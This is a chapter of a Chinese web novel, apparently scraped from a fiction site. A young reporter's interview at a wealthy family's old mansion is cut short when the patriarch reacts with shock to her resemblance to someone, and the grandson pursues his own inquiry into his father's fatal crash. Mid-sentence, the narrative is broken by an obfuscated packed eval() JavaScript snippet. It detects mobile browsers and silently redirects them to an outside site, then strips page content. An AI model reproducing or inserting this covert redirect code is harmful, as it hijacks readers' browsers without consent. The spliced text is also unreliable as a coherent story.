放下画稿,许修远深吸了一口气,重新又拿起那三张照片,正反面都看了看。 “何爷爷,您知道这个女人的名字吗?” 何老师傅呵呵笑了声,“我父亲晚年的时候,经常说起许家太爷,就是你太爷爷,感激他当年的帮助,我看到照片之后,确实依稀想起他还曾经提到过一位夫人,我父亲称呼她为二太太,说她很喜欢他的手艺,经常上门找他做衣服,我想应该就是照片上的这位。” 二太太。 这个女人确实就是太爷爷娶的二太太,她当年进了许家的门,可家里却似乎没有她存在过的痕迹,一张照片都没有。 再多的何老师傅就想不起来了,许修远道过谢,起身离开,何老师傅依旧送他到院门外。 拉开车门,许修远突然想到一件事,对着正站在院门口的何老师傅说道:“何爷爷,我做的那件,就按照颜珺瑶的尺寸来做。” * 周六下午两点左右,颜珺瑶坐上江成的车子,前往许家的老宅。 出发前,颜珺瑶才知道,原来今天去许家老宅的只有她和师傅,许老先生只接受文字采访。 她想了想,猜测许老先生不想出现在镜头前,大概是不想让外界通过他的个人状态而胡乱臆测。 如果状态太差,也许会被某些人质疑许氏集团的真实状况到底如何。要是精神尚可,估计也会有人觉得老人家冷心冷清,居然这么快就走出了丧子之痛,更甚者估计又会开始怀疑车祸的“真实”原因。 这个世界,总不缺少喜欢胡说八道,断章取义,自以为是的人,包括某些媒体。 一路上,颜珺瑶没怎么说话,看起来有些紧张。 江成察觉到颜珺瑶的状态,便安慰道:“我跟许家那边说过会带个同事过去,那边事先同意了,待会儿你只要负责记录,不用紧张。” 颜珺瑶:“……嗯,我知道了,师傅。” 其实她紧张,并不是因为许老先生,而是因为今天不是工作日,也许许修远也会在老宅。 只要一想要之前那些事,她就忍不住打哆嗦。 她对许修远没意见,但自己每次遇到许修远,似乎都得倒霉。 她觉得这就是所谓的气场不和,八字相克,所以她真的不想碰到他。 车子进入东湖路,江成微微抬了下下巴,示意颜珺瑶看向前方,“那里就是,你以前从这里经过,应该注意到过。” 以前确实注意过这栋相对特别的建筑,因为它看起来和周边的其他建筑仿佛隔着几十年的时光,看着这栋老宅,就像是回到了那个风云变幻的年代,能听到岁月的故事。 在来之前,她简单了解了许家的老宅。 这栋房子已经有一百年左右的历史了,是许家在民国初期建造的中西结合的独立式花园住宅。占地面积近千平,主楼有三层,其后还有一栋两层高的小楼。这样的规模,在那个年代,还算不上特别奢华夸张。 和许家老宅同时期建造的不少豪宅,大部分不是被损毁,被拆除,就是已经无人居住,成了不可移动文物。而许家老宅,一直以来都有许家人在居住,这么多年也几经翻修,整体看起来还算不错。 不得不说,百年望族,名副其实。 如果有人把许家这百年来的故事写下来,一定很精彩,也必然会有很多人感兴趣。 到了许家老宅门口,下了车,江成按响门铃。 不一会儿,门铃里响起一个略显沙哑的男声。 “是江记者吗?” 江成给了肯定的回复,很快,面前的大门被打开。 一位五十多岁的中年男人站在大门内,十分客气地看着江成道:“江记者,请进,老先生在——” 蓦地,中年男人突然顿住,一瞬不瞬地盯着站在江成身旁的颜珺瑶,神色变得极为不自然,“她——她是——” “您是宗叔吧!”江成认得许家的老管家,笑着介绍道:“她是我的同事,颜珺瑶,我跟许董提前说过了,会带一个同事一同过来采访。” “同——同事——”宗叔骤然变得有些结巴,咽了咽口水,很快意识到自己的失态,连忙移开视线,“哦,这样啊,那两位先请进,我——我上去请先生下来。” 宗叔十分客气地将两人带到了一楼的会客厅,吩咐完阿姨上茶点,快速上了二楼,在迈上台阶前,宗叔忍不住又回头看了一眼坐在沙发上的女人,抓着楼梯扶手的手不受控地微微颤抖起来。 太像了。 颜珺瑶似乎有所察觉,偏头看向了楼梯口,就看到宗叔匆忙地转过头,抬腿上了楼梯。 “……” 颜珺瑶下意识地摸了摸自己的脸,又拿手机看了下,脸上很正常,并没有脏污。 江成也察觉到了不对劲,给了她一个安抚的笑容,“别紧张。” 没过多久,楼梯就传来了脚步声,似乎还有些踉跄。 许忠林在宗叔的搀扶下下了楼,江成和颜珺瑶很快都站了起来,打了声招呼。 许忠林紧紧抓着宗叔的手,一步一步地往客厅走来,视线死死地定在颜珺瑶的脸上。 “……”颜珺瑶尴尬地朝着许忠林露出笑容,有些不知所措地看向师傅。 许忠林是不欢迎她吗?可是师傅不是事先都说好了,为什么许老先生和那位宗叔在看到她时,反应会那么——震惊?像是—— 像是看到了外星生物。 颜珺瑶真的想原地遁走,太尴尬了。 江成即时打破沉默,“许董,这是我同事颜珺瑶,今天过来帮忙做记录。” “许董,您好——”颜珺瑶努力保持微笑,再次问好。 颜珺瑶——颜珺瑶—— 许忠林回过神来,深吸了一口气,慢慢地坐了下来,“请坐。” 江成和颜珺瑶刚挨上椅子,只见许忠林又看向颜珺瑶,突然问道:“哪三个字?” “?”颜珺瑶愣了下,很快反应过来,“哦,是颜色的颜,珺是王字旁加君子的君,瑶是王字旁的瑶。” “呵——”许忠林叹了口气,嘴角扯起一丝弧度,“真是个好名字啊!” “……谢谢许董。” 许忠林这才将视线落在江成身上,“江成,许久没见你了。” “确实有几年没见了,”江成点头,“许董近来身体如何?” “呵——”许忠林缓缓地笑了,视线不经意地又从颜珺瑶脸上划过,“我老了,身体——” 他顿了顿,看着江成道:“今天就先到这里吧——” * 车子驶离东湖路,颜珺瑶安静地坐在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15942940|177440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 副驾驶座上。 回想着刚刚发生的事情,心里满是不解。 许忠林和那位宗叔,看到她的时候都不太对劲,是自己长得太招人烦吗?否则两位长辈怎么会第一次见到她,就是——那样的反应。 哎,看来她不是和许修远八字不和,而是和整个许家相冲。 师傅特意带她来,是想给她介绍人脉,这下可真是白费了师傅的苦心。 江成发现颜珺瑶闷闷不乐,开解道:“许家老爷子今年八十出头了,最近许家大大小小又出了不少事,身体和情绪肯定会受影响,年纪大的人没那么快恢复。不要多想,和你没关系的。” “嗯——” “许老先生自己也说了身体不爽利,让我们下周再过去,放心,不会耽误采访的。 话虽如此,但颜珺瑶觉得今天采访的失败,很可能就是因为她。 要真是如此的话,下周她还是别去了,免得师傅一趟趟地白跑。 * 傍晚,天色变得有些阴沉。 许修远在院子里停好车,从车上下来,抬头看了一眼。 今晚估计又要下雨。 走进屋子,在客厅坐下,张阿姨从厨房出来,将两盘点心放在许修远面前,低声说了句:“已经回去了。” 许修远会意,点了点头,接着又问了爷爷这几天的身体状况。 张阿姨笑呵呵地说道:“老爷子最近精神头好了不少,今天早上还到院子里打太极。” 所以今天下午的采访还没怎么开始就突然结束,并不是身体原因,而是因为爷爷看到了颜珺瑶?因此爷爷下午才又请了赵先生过来,再次去了一趟三楼。 由此看来,爷爷对那个房间讳莫如深的原因,就是那个旗袍女人。 她——在那个房间离世的? 许修远抬眸看了眼楼梯口,想起这段时间的调查。 颜珺瑶那边,就目前查出来的信息判断,她和旗袍女人应该是没有血缘关系的。至于那个小女孩—— 他让人调查了近二十年内父亲出车祸的那个位置,曾经是否发生过三四岁孩子出事的情况,而且还是穿着鹅黄色旗袍的小女孩,结果没有查到同时满足这些条件的,要么年纪或性别对不上,要么就不是在那条路上。 除此之外,他还详细调查父亲生前的许多事情,包括父亲是否曾经有过开车致人死亡却被隐瞒的情况,是否有过情人,生过私生子但早夭的情况,等等可能性,他都有过怀疑,虽然还没有结果,但他对结果并不抱什么希望,这些事情存在的概率都很小。 排除了这么多可能性,他觉得只剩下一个猜想。 这时候,宗叔扶着许忠林从楼上下来了,晚饭也准备好了。 * 餐桌上,许忠林慈爱地看着许修远吃饭,刚吃完,又催着阿姨把水果端上来。 许修远没有辜负爷爷的心意,意思地吃了两块橙子,又给爷爷剥了几个他最爱的荔枝。 许忠林眉眼含笑地看着自己的孙子,吃了荔枝,才说道:“待会儿陪我喝杯茶再回去。” 许修远没有回答爷爷,擦了擦手,突然说道:“爷爷,今天下午您又请了赵先生过来。” 许忠林轻咳一声,“我的事你别管了。” “我不是要管您的事,而是——”许修远笑了笑,“想请您帮忙。” 许忠林顿了片刻,突然意识到什么,急切道:“怎么?你碰上什么事了?” “我昨天差一点发生车祸——”